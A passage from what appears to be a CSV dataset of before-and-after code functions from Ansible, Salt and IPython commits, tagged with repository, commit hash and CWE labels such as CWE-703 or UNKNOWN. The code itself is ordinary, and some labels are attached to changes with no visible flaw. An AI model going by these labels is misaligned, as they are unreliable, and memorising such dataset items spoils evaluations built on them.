                task_list.append(t)

    return task_list",CWE-703,ansible/ansible,8d5afd18917eada47881432acf8e4ba579be040c,"def load_list_of_tasks(ds, play, block=None, role=None, task_include=None, use_handlers=False, variable_manager=None, loader=None):
    '''
    Given a list of task datastructures (parsed from YAML),
    return a list of Task() or TaskInclude() objects.
    '''

    # we import here to prevent a circular dependency with imports
    from ansible.playbook.block import Block
    from ansible.playbook.handler import Handler
    from ansible.playbook.task import Task
    from ansible.playbook.task_include import TaskInclude
    from ansible.playbook.role_include import IncludeRole
    from ansible.playbook.handler_task_include import HandlerTaskInclude
    from ansible.template import Templar

    assert isinstance(ds, list), 'The ds (%s) should be a list but was a %s' % (ds, type(ds))

    task_list = []
    for task_ds in ds:
        assert isinstance(task_ds, dict), 'The ds (%s) should be a dict but was a %s' % (ds, type(ds))

        if 'block' in task_ds:
            t = Block.load(
                task_ds,
                play=play,
                parent_block=block,
                role=role,
                task_include=task_include,
                use_handlers=use_handlers,
                variable_manager=variable_manager,
                loader=loader,
            )
            task_list.append(t)
        else:
            if 'include' in task_ds or 'import_tasks' in task_ds or 'include_tasks' in task_ds:
                if 'include' in task_ds:
                    display.deprecated(""The use of 'include' for tasks has been deprecated. ""
                                       ""Use 'import_tasks' for static inclusions or 'include_tasks' for dynamic inclusions"")

                if use_handlers:
                    include_class = HandlerTaskInclude
                else:
                    include_class = TaskInclude

                t = include_class.load(
                    task_ds,
                    block=block,
                    role=role,
                    task_include=None,
                    variable_manager=variable_manager,
                    loader=loader
                )

                all_vars = variable_manager.get_vars(play=play, task=t)
                templar = Templar(loader=loader, variables=all_vars)

                # check to see if this include is dynamic or static:
                # 1. the user has set the 'static' option to false or true
                # 2. one of the appropriate config options was set
                if 'include_tasks' in task_ds:
                    is_static = False
                elif 'import_tasks' in task_ds:
                    is_static = True
                elif t.static is not None:
                    display.deprecated(""The use of 'static' has been deprecated. ""
                                       ""Use 'import_tasks' for static inclusion, or 'include_tasks' for dynamic inclusion"")
                    is_static = t.static
                else:
                    is_static = C.DEFAULT_TASK_INCLUDES_STATIC or \
                        (use_handlers and C.DEFAULT_HANDLER_INCLUDES_STATIC) or \
                        (not templar._contains_vars(t.args['_raw_params']) and t.all_parents_static() and not t.loop)

                if is_static:
                    if t.loop is not None:
                        if 'import_tasks' in task_ds:
                            raise AnsibleParserError(""You cannot use loops on 'import_tasks' statements. You should use 'include_tasks' instead."", obj=task_ds)
                        else:
                            raise AnsibleParserError(""You cannot use 'static' on an include with a loop"", obj=task_ds)

                    # we set a flag to indicate this include was static
                    t.statically_loaded = True

                    # handle relative includes by walking up the list of parent include
                    # tasks and checking the relative result to see if it exists
                    parent_include = block
                    cumulative_path = None

                    found = False
                    subdir = 'tasks'
                    if use_handlers:
                        subdir = 'handlers'
                    while parent_include is not None:
                        if not isinstance(parent_include, TaskInclude):
                            parent_include = parent_include._parent
                            continue
                        parent_include_dir = os.path.dirname(templar.template(parent_include.args.get('_raw_params')))
                        if cumulative_path is None:
                            cumulative_path = parent_include_dir
                        elif not os.path.isabs(cumulative_path):
                            cumulative_path = os.path.join(parent_include_dir, cumulative_path)
                        include_target = templar.template(t.args['_raw_params'])
                        if t._role:
                            new_basedir = os.path.join(t._role._role_path, subdir, cumulative_path)
                            include_file = loader.path_dwim_relative(new_basedir, subdir, include_target)
                        else:
                            include_file = loader.path_dwim_relative(loader.get_basedir(), cumulative_path, include_target)

                        if os.path.exists(include_file):
                            found = True
                            break
                        else:
                            parent_include = parent_include._parent

                    if not found:
                        try:
                            include_target = templar.template(t.args['_raw_params'])
                        except AnsibleUndefinedVariable as e:
                            raise AnsibleParserError(
                                ""Error when evaluating variable in include name: %s.\n\n""
                                ""When using static includes, ensure that any variables used in their names are defined in vars/vars_files\n""
                                ""or extra-vars passed in from the command line. Static includes cannot use variables from inventory\n""
                                ""sources like group or host vars."" % t.args['_raw_params'],
                                obj=task_ds,
                                suppress_extended_error=True,
                                orig_exc=e)
                        if t._role:
                            include_file = loader.path_dwim_relative(t._role._role_path, subdir, include_target)
                        else:
                            include_file = loader.path_dwim(include_target)

                    try:
                        data = loader.load_from_file(include_file)
                        if data is None:
                            display.warning('file %s is empty and had no tasks to include' % include_file)
                            continue
                        elif not isinstance(data, list):
                            raise AnsibleParserError(""included task files must contain a list of tasks"", obj=data)

                        # since we can't send callbacks here, we display a message directly in
                        # the same fashion used by the on_include callback. We also do it here,
                        # because the recursive nature of helper methods means we may be loading
                        # nested includes, and we want the include order printed correctly
                        display.vv(""statically imported: %s"" % include_file)
                    except AnsibleFileNotFound:
                        if t.static or \
                           C.DEFAULT_TASK_INCLUDES_STATIC or \
                           C.DEFAULT_HANDLER_INCLUDES_STATIC and use_handlers:
                            raise
                        display.deprecated(
                            ""Included file '%s' not found, however since this include is not ""
                            ""explicitly marked as 'static: yes', we will try and include it dynamically ""
                            ""later. In the future, this will be an error unless 'static: no' is used ""
                            ""on the include task. If you do not want missing includes to be considered ""
                            ""dynamic, use 'static: yes' on the include or set the global ansible.cfg ""
                            ""options to make all includes static for tasks and/or handlers"" % include_file, version=""2.7""
                        )
                        task_list.append(t)
                        continue

                    ti_copy = t.copy(exclude_parent=True)
                    ti_copy._parent = block
                    included_blocks = load_list_of_blocks(
                        data,
                        play=play,
                        parent_block=None,
                        task_include=ti_copy,
                        role=role,
                        use_handlers=use_handlers,
                        loader=loader,
                        variable_manager=variable_manager,
                    )

                    # pop tags out of the include args, if they were specified there, and assign
                    # them to the include. If the include already had tags specified, we raise an
                    # error so that users know not to specify them both ways
                    tags = ti_copy.vars.pop('tags', [])
                    if isinstance(tags, string_types):
                        tags = tags.split(',')

                    if len(tags) > 0:
                        if len(ti_copy.tags) > 0:
                            raise AnsibleParserError(
                                ""Include tasks should not specify tags in more than one way (both via args and directly on the task). ""
                                ""Mixing styles in which tags are specified is prohibited for whole import hierarchy, not only for single import statement"",
                                obj=task_ds,
                                suppress_extended_error=True,
                            )
                        display.deprecated(""You should not specify tags in the include parameters. All tags should be specified using the task-level option"",
                                           version=""2.7"")
                    else:
                        tags = ti_copy.tags[:]

                    # now we extend the tags on each of the included blocks
                    for b in included_blocks:
                        b.tags = list(set(b.tags).union(tags))
                    # END FIXME

                    # FIXME: handlers shouldn't need this special handling, but do
                    #        right now because they don't iterate blocks correctly
                    if use_handlers:
                        for b in included_blocks:
                            task_list.extend(b.block)
                    else:
                        task_list.extend(included_blocks)
                else:
                    t.is_static = False
                    task_list.append(t)

            elif 'include_role' in task_ds or 'import_role' in task_ds:
                ir = IncludeRole.load(
                    task_ds,
                    block=block,
                    role=role,
                    task_include=None,
                    variable_manager=variable_manager,
                    loader=loader,
                )

                #   1. the user has set the 'static' option to false or true
                #   2. one of the appropriate config options was set
                if 'import_role' in task_ds:
                    is_static = True

                if ir.static is not None:
                    display.deprecated(""The use of 'static' for 'include_role' has been deprecated. ""
                                       ""Use 'import_role' for static inclusion, or 'include_role' for dynamic inclusion"")
                    is_static = ir.static
                else:
                    display.debug('Determine if include_role is static')
                    # Check to see if this include is dynamic or static:
                    all_vars = variable_manager.get_vars(play=play, task=ir)
                    templar = Templar(loader=loader, variables=all_vars)
                    needs_templating = False
                    for param in ir.args:
                        if templar._contains_vars(ir.args[param]):
                            if not templar.is_template(ir.args[param]):
                                needs_templating = True
                                break
                    is_static = (
                        C.DEFAULT_TASK_INCLUDES_STATIC or
                        (use_handlers and C.DEFAULT_HANDLER_INCLUDES_STATIC) or
                        (not needs_templating and ir.all_parents_static() and not ir.loop)
                    )
                    display.debug('Determined that if include_role static is %s' % str(is_static))

                if is_static:
                    # we set a flag to indicate this include was static
                    ir.statically_loaded = True

                    # uses compiled list from object
                    blocks, _ = ir.get_block_list(variable_manager=variable_manager, loader=loader)
                    t = task_list.extend(blocks)
                else:
                    # passes task object itself for latter generation of list
                    t = task_list.append(ir)
            else:
                if use_handlers:
                    t = Handler.load(task_ds, block=block, role=role, task_include=task_include, variable_manager=variable_manager, loader=loader)
                else:
                    t = Task.load(task_ds, block=block, role=role, task_include=task_include, variable_manager=variable_manager, loader=loader)

                task_list.append(t)

    return task_list"
,UNKNOWN,UNKNOWN,tests/pytests/functional/modules/test_pkg.py,1,"def test_pkg_install_port(grains, modules):
    """"""
    test install package with a port in the url
    """"""
    pkgs = modules.pkg.list_pkgs()
    nano = pkgs.get(""nano"")
    if nano:
        modules.pkg.remove(""nano"")

    if grains[""os_family""] == ""Debian"":
        url = modules.cmd.run(""apt download --print-uris nano"").split()[-4]
        if url.startswith(""'mirror+file""):
            url = ""http://ftp.debian.org/debian/pool/"" + url.split(""pool"")[1].rstrip(
                ""'""
            )
        try:
            ret = modules.pkg.install(sources=f'[{{""nano"":{url}}}]')
            version = re.compile(r""\d\.\d"")
            assert version.search(url).group(0) in ret[""nano""][""new""]
        finally:
            modules.pkg.remove(""nano"")
            if nano:
                # If nano existed on the machine before the test ran
                # re-install that version
                modules.pkg.install(f""nano={nano}"")",CWE-703,saltstack/salt,a49f1cdf67ce13d4b8f6f6ee1585929f322caf3a,"def test_pkg_install_port(grains, modules):
    """"""
    test install package with a port in the url
    """"""
    pkgs = modules.pkg.list_pkgs()
    nano = pkgs.get(""nano"")
    if nano:
        modules.pkg.remove(""nano"")

    if grains[""os_family""] == ""Debian"":
        url = modules.cmd.run(""apt download --print-uris nano"").split()[-4]
        try:
            ret = modules.pkg.install(sources=f'[{{""nano"":{url}}}]')
            version = re.compile(r""\d\.\d"")
            assert version.search(url).group(0) in ret[""nano""][""new""]
        finally:
            modules.pkg.remove(""nano"")
            if nano:
                # If nano existed on the machine before the test ran
                # re-install that version
                modules.pkg.install(f""nano={nano}"")"
functions_for_jupyter_with_cwe.csv,UNKNOWN,UNKNOWN,setupbase.py,0,"def find_packages():
    """"""
    Find all of IPython's packages.
    """"""
    packages = ['IPython']
    add_package(packages, 'config', tests=True, others=['profile'])
    add_package(packages, 'core', tests=True)
    add_package(packages, 'extensions')
    add_package(packages, 'external')
    add_package(packages, 'external.argparse')
    add_package(packages, 'external.decorator')
    add_package(packages, 'external.decorators')
    add_package(packages, 'external.guid')
    add_package(packages, 'external.Itpl')
    add_package(packages, 'external.mglob')
    add_package(packages, 'external.path')
    add_package(packages, 'external.pexpect')
    add_package(packages, 'external.pyparsing')
    add_package(packages, 'external.simplegeneric')
    add_package(packages, 'external.ssh')
    add_package(packages, 'kernel')
    add_package(packages, 'frontend')
    add_package(packages, 'frontend.html')
    add_package(packages, 'frontend.html.notebook')
    add_package(packages, 'frontend.qt')
    add_package(packages, 'frontend.qt.console', tests=True)
    add_package(packages, 'frontend.terminal', tests=True)
    add_package(packages, 'lib', tests=True)
    add_package(packages, 'nbformat', tests=True)
    add_package(packages, 'nbformat.v1', tests=True)
    add_package(packages, 'nbformat.v2', tests=True)
    add_package(packages, 'parallel', tests=True, scripts=True, 
                                    others=['apps','engine','client','controller'])
    add_package(packages, 'quarantine', tests=True)
    add_package(packages, 'scripts')
    add_package(packages, 'testing', tests=True)
    add_package(packages, 'testing.plugin', tests=False)
    add_package(packages, 'utils', tests=True)
    add_package(packages, 'zmq')
    add_package(packages, 'zmq.pylab')
    add_package(packages, 'zmq.gui')
    return packages",,jupyter/notebook,4973135bf1599ed1ecb43399b386a8b4e62a5dbc,"def find_packages():
    """"""
    Find all of IPython's packages.
    """"""
    packages = ['IPython']
    add_package(packages, 'config', tests=True, others=['profile'])
    add_package(packages, 'core', tests=True)
    add_package(packages, 'extensions')
    add_package(packages, 'external')
    add_package(packages, 'external.argparse')
    add_package(packages, 'external.decorator')
    add_package(packages, 'external.decorators')
    add_package(packages, 'external.guid')
    add_package(packages, 'external.Itpl')
    add_package(packages, 'external.mglob')
    add_package(packages, 'external.path')
    add_package(packages, 'external.pexpect')
    add_package(packages, 'external.pyparsing')
    add_package(packages, 'external.simplegeneric')
    add_package(packages, 'external.ssh')
    add_package(packages, 'kernel')
    add_package(packages, 'frontend')
    add_package(packages, 'frontend.html')
    add_package(packages, 'frontend.html.notebook')
    add_package(packages, 'frontend.qt')
    add_package(packages, 'frontend.qt.console', tests=True)
    add_package(packages, 'frontend.terminal', tests=True)
    add_package(packages, 'lib', tests=True)
    add_package(packages, 'nbformat', tests=True)
    add_package(packages, 'parallel', tests=True, scripts=True, 
                                    others=['apps','engine','client','controller'])
    add_package(packages, 'quarantine', tests=True)
    add_package(packages, 'scripts')
    add_package(packages, 'testing', tests=True)
    add_package(packages, 'testing.plugin', tests=False)
    add_package(packages, 'utils', tests=True)
    add_package(packages, 'zmq')
    add_package(packages, 'zmq.pylab')
    add_package(packages, 'zmq.gui')
    return packages"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/states/pkg.py,0,"def installed(
        name,
        version=None,
        refresh=None,
        fromrepo=None,
        skip_verify=False,
        skip_suggestions=False,
        pkgs=None,
        sources=None,
        allow_updates=False,
        pkg_verify=False,
        **kwargs):
    '''
    Verify that the package is installed, and that it is the correct version
    (if specified).

    name
        The name of the package to be installed. This parameter is ignored if
        either ""pkgs"" or ""sources"" is used. Additionally, please note that this
        option can only be used to install packages from a software repository.
        To install a package file manually, use the ""sources"" option detailed
        below.

    fromrepo
        Specify a repository from which to install

        .. note::

            Distros which use APT (Debian, Ubuntu, etc.) do not have a concept
            of repositories, in the same way as YUM-based distros do. When a
            source is added, it is assigned to a given release. Consider the
            following source configuration:

            .. code-block:: text

                deb http://ppa.launchpad.net/saltstack/salt/ubuntu precise main

            The packages provided by this source would be made available via
            the ``precise`` release, therefore ``fromrepo`` would need to be
            set to ``precise`` for Salt to install the package from this
            source.

            Having multiple sources in the same release may result in the
            default install candidate being newer than what is desired. If this
            is the case, the desired version must be specified using the
            ``version`` parameter.

            If the ``pkgs`` parameter is being used to install multiple
            packages in the same state, then instead of using ``version``,
            use the method of version specification described in the **Multiple
            Package Installation Options** section below.

            Running the shell command ``apt-cache policy pkgname`` on a minion
            can help elucidate the APT configuration and aid in properly
            configuring states:

            .. code-block:: bash

                root@saltmaster:~# salt ubuntu01 cmd.run 'apt-cache policy ffmpeg'
                ubuntu01:
                    ffmpeg:
                    Installed: (none)
                    Candidate: 7:0.10.11-1~precise1
                    Version table:
                        7:0.10.11-1~precise1 0
                            500 http://ppa.launchpad.net/jon-severinsson/ffmpeg/ubuntu/ precise/main amd64 Packages
                        4:0.8.10-0ubuntu0.12.04.1 0
                            500 http://us.archive.ubuntu.com/ubuntu/ precise-updates/main amd64 Packages
                            500 http://security.ubuntu.com/ubuntu/ precise-security/main amd64 Packages
                        4:0.8.1-0ubuntu1 0
                            500 http://us.archive.ubuntu.com/ubuntu/ precise/main amd64 Packages

            The release is located directly after the source's URL. The actual
            release name is the part before the slash, so to install version
            **4:0.8.10-0ubuntu0.12.04.1** either ``precise-updates`` or
            ``precise-security`` could be used for the ``fromrepo`` value.

    skip_verify
        Skip the GPG verification check for the package to be installed

    skip_suggestions
        Force strict package naming. Disables lookup of package alternatives.

        .. versionadded:: 2014.1.1

    version
        Install a specific version of a package. This option is ignored if
        either ""pkgs"" or ""sources"" is used. Currently, this option is supported
        for the following pkg providers: :mod:`apt <salt.modules.aptpkg>`,
        :mod:`ebuild <salt.modules.ebuild>`,
        :mod:`pacman <salt.modules.pacman>`,
        :mod:`yumpkg <salt.modules.yumpkg>`, and
        :mod:`zypper <salt.modules.zypper>`. The version number includes the
        release designation where applicable, to allow Salt to target a
        specific release of a given version. When in doubt, using the
        ``pkg.latest_version`` function for an uninstalled package will tell
        you the version available.

        .. code-block:: bash

            # salt myminion pkg.latest_version httpd
            myminion:
                2.2.15-30.el6.centos

        Also, while this function is not yet implemented for all pkg frontends,
        :mod:`pkg.list_repo_pkgs <salt.modules.yumpkg.list_repo_pkgs>` will
        show all versions available in the various repositories for a given
        package, irrespective of whether or not it is installed.

        .. code-block:: bash

            # salt myminion pkg.list_repo_pkgs httpd
            myminion:
                ----------
                base:
                    |_
                      ----------
                      httpd:
                          2.2.15-29.el6.centos
                updates:
                    |_
                      ----------
                      httpd:
                          2.2.15-30.el6.centos

        The version strings returned by either of these functions can be used
        as version specifiers in pkg states.

    refresh
        Update the repo database of available packages prior to installing the
        requested package.

    hold
        Force the package to be held at the current installed version.
        Currently works with YUM & APT based systems.

        .. versionadded:: Helium

    allow_updates
        Allow the package to be updated outside Salt's control (e.g. auto updates on Windows).
        This means a package on the Minion can have a newer version than the latest available
        in the repository without enforcing a re-installation of the package.

        .. versionadded:: Helium

    Example:

    .. code-block:: yaml

        httpd:
          pkg.installed:
            - fromrepo: mycustomrepo
            - skip_verify: True
            - skip_suggestions: True
            - version: 2.0.6~ubuntu3
            - refresh: True
            - hold: False

    pkg_verify
        .. versionadded:: Helium

        For requested packages that are already installed and would not be targeted for
        upgrade or downgrade, use pkg.verify to determine if any of the files installed
        by the package have been altered. If files have been altered, the reinstall
        option of pkg.install is used to force a reinstall.  Types to ignore can be
        passed to pkg.verify (see example below).  Currently, this option is supported
        for the following pkg providers: :mod:`yumpkg <salt.modules.yumpkg>`.

    Examples:

    .. code-block:: yaml

        httpd:
          pkg.installed:
            - version: 2.2.15-30.el6.centos
            - pkg_verify: True

    .. code-block:: yaml

        mypkgs:
          pkg.installed:
            - pkgs:
              - foo
              - bar: 1.2.3-4
              - baz
            - pkg_verify:
              - ignore_types: [config,doc]

    Multiple Package Installation Options: (not supported in Windows or pkgng)

    pkgs
        A list of packages to install from a software repository. All packages
        listed under ``pkgs`` will be installed via a single command.

    Example:

    .. code-block:: yaml

        mypkgs:
          pkg.installed:
            - pkgs:
              - foo
              - bar
              - baz
            - hold: True

    ``NOTE:`` For :mod:`apt <salt.modules.aptpkg>`,
    :mod:`ebuild <salt.modules.ebuild>`,
    :mod:`pacman <salt.modules.pacman>`, :mod:`yumpkg <salt.modules.yumpkg>`,
    and :mod:`zypper <salt.modules.zypper>`, version numbers can be specified
    in the ``pkgs`` argument. For example:

    .. code-block:: yaml

        mypkgs:
          pkg.installed:
            - pkgs:
              - foo
              - bar: 1.2.3-4
              - baz

    Additionally, :mod:`ebuild <salt.modules.ebuild>`,
    :mod:`pacman <salt.modules.pacman>` and
    :mod:`zypper <salt.modules.zypper>` support the ``<``, ``<=``, ``>=``, and
    ``>`` operators for more control over what versions will be installed. For
    example:

    .. code-block:: yaml

        mypkgs:
          pkg.installed:
            - pkgs:
              - foo
              - bar: '>=1.2.3-4'
              - baz

    ``NOTE:`` When using comparison operators, the expression must be enclosed
    in quotes to avoid a YAML render error.

    With :mod:`ebuild <salt.modules.ebuild>` is also possible to specify a use
    flag list and/or if the given packages should be in package.accept_keywords
    file and/or the overlay from which you want the package to be installed.
    For example:

    .. code-block:: yaml

        mypkgs:
          pkg.installed:
            - pkgs:
              - foo: '~'
              - bar: '~>=1.2:slot::overlay[use,-otheruse]'
              - baz

    names
        A list of packages to install from a software repository. Each package
        will be installed individually by the package manager.

        .. warning::

            Unlike ``pkgs``, the ``names`` parameter cannot specify a version.
            In addition, it makes a separate call to the package management
            frontend to install each package, whereas ``pkgs`` makes just a
            single call. It is therefore recommended to use ``pkgs`` instead of
            ``names`` to install multiple packages, both for the additional
            features and the performance improvement that it brings.

    sources
        A list of packages to install, along with the source URI or local path
        from which to install each package. In the example below, ``foo``,
        ``bar``, ``baz``, etc. refer to the name of the package, as it would
        appear in the output of the ``pkg.version`` or ``pkg.list_pkgs`` salt
        CLI commands.

    .. code-block:: yaml

        mypkgs:
          pkg.installed:
            - sources:
              - foo: salt://rpms/foo.rpm
              - bar: http://somesite.org/bar.rpm
              - baz: ftp://someothersite.org/baz.rpm
              - qux: /minion/path/to/qux.rpm
    '''
    kwargs['saltenv'] = __env__
    rtag = __gen_rtag()
    refresh = bool(
        salt.utils.is_true(refresh)
        or (os.path.isfile(rtag) and refresh is not False)
    )
    if type(pkg_verify) is not list:
        pkg_verify = pkg_verify is True
    if (pkg_verify or type(pkg_verify) is list) and 'pkg.verify' not in __salt__:
        return {'name': name,
                'changes': {},
                'result': False,
                'comment': 'pkg.verify not implemented'}

    if not isinstance(version, string_types) and version is not None:
        version = str(version)

    kwargs['allow_updates'] = allow_updates
    result = _find_install_targets(name, version, pkgs, sources,
                                   fromrepo=fromrepo,
                                   skip_suggestions=skip_suggestions,
                                   pkg_verify=pkg_verify,
                                   **kwargs)

    try:
        desired, targets, to_unpurge, to_reinstall, altered_files = result
    except ValueError:
        # _find_install_targets() found no targets or encountered an error

        # check that the hold function is available
        if 'pkg.hold' in __salt__:
            if 'hold' in kwargs:
                try:
                    if kwargs['hold']:
                        hold_ret = __salt__['pkg.hold'](
                            name=name, pkgs=pkgs, sources=sources
                        )
                    else:
                        hold_ret = __salt__['pkg.unhold'](
                            name=name, pkgs=pkgs, sources=sources
                        )
                except (CommandExecutionError, SaltInvocationError) as exc:
                    return {'name': name,
                            'changes': {},
                            'result': False,
                            'comment': exc.message}

                if 'result' in hold_ret and not hold_ret['result']:
                    return {'name': name,
                            'changes': {},
                            'result': False,
                            'comment': 'An error was encountered while '
                                       'holding/unholding package(s): {0}'
                                       .format(hold_ret['comment'])}
                else:
                    modified_hold = [hold_ret[x] for x in hold_ret
                                     if hold_ret[x]['changes']]
                    not_modified_hold = [hold_ret[x] for x in hold_ret
                                         if not hold_ret[x]['changes']
                                         and hold_ret[x]['result']]
                    failed_hold = [hold_ret[x] for x in hold_ret
                                   if not hold_ret[x]['result']]

                    if modified_hold:
                        for i in modified_hold:
                            result['comment'] += ' {0}'.format(i['comment'])
                            result['result'] = i['result']
                            result['changes'][i['name']] = i['changes']

                    if not_modified_hold:
                        for i in not_modified_hold:
                            result['comment'] += ' {0}'.format(i['comment'])
                            result['result'] = i['result']

                    if failed_hold:
                        for i in failed_hold:
                            result['comment'] += ' {0}'.format(i['comment'])
                            result['result'] = i['result']
        return result

    if to_unpurge and 'lowpkg.unpurge' not in __salt__:
        return {'name': name,
                'changes': {},
                'result': False,
                'comment': 'lowpkg.unpurge not implemented'}

    # Remove any targets not returned by _find_install_targets
    if pkgs:
        pkgs = [dict([(x, y)]) for x, y in targets.iteritems()]
        pkgs.extend([dict([(x, y)]) for x, y in to_reinstall.iteritems()])
    elif sources:
        oldsources = sources
        sources = [x for x in oldsources if x.keys()[0] in targets]
        sources.extend([x for x in oldsources if x.keys()[0] in to_reinstall])

    comment = []
    if __opts__['test']:
        if targets:
            if sources:
                summary = ', '.join(targets)
            else:
                summary = ', '.join([_get_desired_pkg(x, targets)
                                     for x in targets])
            comment.append('The following packages are set to be '
                           'installed/updated: {0}.'.format(summary))
        if to_unpurge:
            comment.append(
                'The following packages will have their selection status '
                'changed from \'purge\' to \'install\': {0}.'
                .format(', '.join(to_unpurge))
            )
        if to_reinstall:
            # Add a comment for each package in to_reinstall with its pkg.verify output
            for x in to_reinstall:
                if sources:
                    pkgstr = x
                else:
                    pkgstr = _get_desired_pkg(x, to_reinstall)
                comment.append('\nPackage {0} is set to be reinstalled because the '
                               'following files have been altered:'.format(pkgstr))
                comment.append('\n' + _nested_output(altered_files[x]))
        return {'name': name,
                'changes': {},
                'result': None,
                'comment': ' '.join(comment)}

    changes = {'installed': {}}
    modified_hold = None
    not_modified_hold = None
    failed_hold = None
    if targets or to_reinstall:
        reinstall = bool(to_reinstall)
        try:
            pkg_ret = __salt__['pkg.install'](name,
                                            refresh=refresh,
                                            version=version,
                                            fromrepo=fromrepo,
                                            skip_verify=skip_verify,
                                            pkgs=pkgs,
                                            sources=sources,
                                            reinstall=reinstall,
                                            **kwargs)

            if os.path.isfile(rtag) and refresh:
                os.remove(rtag)
        except CommandExecutionError as exc:
            return {'name': name,
                    'changes': {},
                    'result': False,
                    'comment': 'An error was encountered while installing '
                               'package(s): {0}'.format(exc)}

        if isinstance(pkg_ret, dict):
            changes['installed'].update(pkg_ret)
        elif isinstance(pkg_ret, string_types):
            comment.append(pkg_ret)

        if 'pkg.hold' in __salt__:
            if 'hold' in kwargs:
                try:
                    if kwargs['hold']:
                        hold_ret = __salt__['pkg.hold'](
                            name=name, pkgs=pkgs, sources=sources
                        )
                    else:
                        hold_ret = __salt__['pkg.unhold'](
                            name=name, pkgs=pkgs, sources=sources
                        )
                except (CommandExecutionError, SaltInvocationError) as exc:
                    comment.append(exc.message)
                    return {'name': name,
                            'changes': changes,
                            'result': False,
                            'comment': ' '.join(comment)}
                else:
                    if 'result' in hold_ret and not hold_ret['result']:
                        return {'name': name,
                                'changes': {},
                                'result': False,
                                'comment': 'An error was encountered while '
                                           'holding/unholding package(s): {0}'
                                           .format(hold_ret['comment'])}
                    else:
                        modified_hold = [hold_ret[x] for x in hold_ret
                                         if hold_ret[x]['changes']]
                        not_modified_hold = [hold_ret[x] for x in hold_ret
                                             if not hold_ret[x]['changes']
                                             and hold_ret[x]['result']]
                        failed_hold = [hold_ret[x] for x in hold_ret
                                       if not hold_ret[x]['result']]

    if to_unpurge:
        changes['purge_desired'] = __salt__['lowpkg.unpurge'](*to_unpurge)

    # Analyze pkg.install results for packages in targets
    if sources:
        modified = [x for x in changes['installed'].keys() if x in targets]
        not_modified = [x for x in desired if x not in targets and x not in to_reinstall]
        failed = [x for x in targets if x not in modified]
    else:
        ok, failed = \
            _verify_install(
                desired, __salt__['pkg.list_pkgs'](
                    versions_as_list=True, **kwargs
                )
            )
        modified = [x for x in ok if x in targets]
        not_modified = [x for x in ok if x not in targets and x not in to_reinstall]
        failed = [x for x in failed if x in targets]

    # If there was nothing unpurged, just set the changes dict to the contents
    # of changes['installed'].
    if not changes.get('purge_desired'):
        changes = changes['installed']

    if modified:
        if sources:
            summary = ', '.join(modified)
        else:
            summary = ', '.join([_get_desired_pkg(x, desired)
                                 for x in modified])
        if len(summary) < 20:
            comment.append('The following packages were installed/updated: '
                           '{0}.'.format(summary))
        else:
            comment.append(
                '{0} targeted package{1} {2} installed/updated.'.format(
                    len(modified),
                    's' if len(modified) > 1 else '',
                    'were' if len(modified) > 1 else 'was'
                )
            )

    if modified_hold:
        for i in modified_hold:
            comment.append(i['comment'])
            change_name = i['name']
            if len(changes[change_name]['new']) > 0:
                changes[change_name]['new'] += '\n'
            changes[change_name]['new'] += '{0}'.format(i['changes']['new'])
            if len(changes[change_name]['old']) > 0:
                changes[change_name]['old'] += '\n'
            changes[change_name]['old'] += '{0}'.format(i['changes']['old'])

    # Any requested packages that were not targetted for install or reinstall
    if not_modified:
        if sources:
            summary = ', '.join(not_modified)
        else:
            summary = ', '.join([_get_desired_pkg(x, desired)
                                 for x in not_modified])
        if len(not_modified) <= 20:
            comment.append('The following packages were already installed: '
                           '{0}.'.format(summary))
        else:
            comment.append(
                '{0} targeted package{1} {2} already installed.'.format(
                    len(not_modified),
                    's' if len(not_modified) > 1 else '',
                    'were' if len(not_modified) > 1 else 'was'
                )
            )

    if not_modified_hold:
        for i in not_modified_hold:
            comment.append(i['comment'])

    result = True

    if failed:
        if sources:
            summary = ', '.join(failed)
        else:
            summary = ', '.join([_get_desired_pkg(x, desired)
                                 for x in failed])
        comment.insert(0, 'The following packages failed to '
                          'install/update: {0}.'.format(summary))
        result = False

    if failed_hold:
        for i in failed_hold:
            comment.append(i['comment'])
        result = False

    # Get the ignore_types list if any from the pkg_verify argument
    if type(pkg_verify) is list and any(x.get('ignore_types') is not None
                                        for x in pkg_verify
                                        if type(x) is OrderedDict
                                        and 'ignore_types' in x):
        ignore_types = next(x.get('ignore_types')
                            for x in pkg_verify
                            if 'ignore_types' in x)
    else:
        ignore_types = []

    # Rerun pkg.verify for packages in to_reinstall to determine failed
    modified = []
    failed = []
    for x in to_reinstall:
        retval = __salt__['pkg.verify'](x, ignore_types=ignore_types)
        if retval:
            failed.append(x)
            altered_files[x] = retval
        else:
            modified.append(x)

    if modified:
        # Add a comment for each package in modified with its pkg.verify output
        for x in modified:
            if sources:
                pkgstr = x
            else:
                pkgstr = _get_desired_pkg(x, desired)
            comment.append('\nPackage {0} was reinstalled.  The following files '
                           'were remediated:'.format(pkgstr))
            comment.append(_nested_output(altered_files[x]))

    if failed:
        # Add a comment for each package in failed with its pkg.verify output
        for x in failed:
            if sources:
                pkgstr = x
            else:
                pkgstr = _get_desired_pkg(x, desired)
            comment.append(
                '\nReinstall was not successful for package {0}.  The following '
                'files could not be remediated:'.format(pkgstr)
            )
            comment.append(_nested_output(altered_files[x]))
        result = False

    return {'name': name,
            'changes': changes,
            'result': result,
            'comment': ' '.join(comment)}",,saltstack/salt,dfdb8a303f4ee97cce6ddf0955ff847c4a4c8b23,"def installed(
        name,
        version=None,
        refresh=None,
        fromrepo=None,
        skip_verify=False,
        skip_suggestions=False,
        pkgs=None,
        sources=None,
        allow_updates=False,
        pkg_verify=False,
        **kwargs):
    '''
    Verify that the package is installed, and that it is the correct version
    (if specified).

    name
        The name of the package to be installed. This parameter is ignored if
        either ""pkgs"" or ""sources"" is used. Additionally, please note that this
        option can only be used to install packages from a software repository.
        To install a package file manually, use the ""sources"" option detailed
        below.

    fromrepo
        Specify a repository from which to install

        .. note::

            Distros which use APT (Debian, Ubuntu, etc.) do not have a concept
            of repositories, in the same way as YUM-based distros do. When a
            source is added, it is assigned to a given release. Consider the
            following source configuration::

            .. code-block:: text

                deb http://ppa.launchpad.net/saltstack/salt/ubuntu precise main

            The packages provided by this source would be made available via
            the ``precise`` release, therefore ``fromrepo`` would need to be
            set to ``precise`` for Salt to install the package from this
            source.

            Having multiple sources in the same release may result in the
            default install candidate being newer than what is desired. If this
            is the case, the desired version must be specified using the
            ``version`` parameter.

            If the ``pkgs`` parameter is being used to install multiple
            packages in the same state, then instead of using ``version``,
            use the method of version specification described in the **Multiple
            Package Installation Options** section below.

            Running the shell command ``apt-cache policy pkgname`` on a minion
            can help elucidate the APT configuration and aid in properly
            configuring states:

            .. code-block:: bash

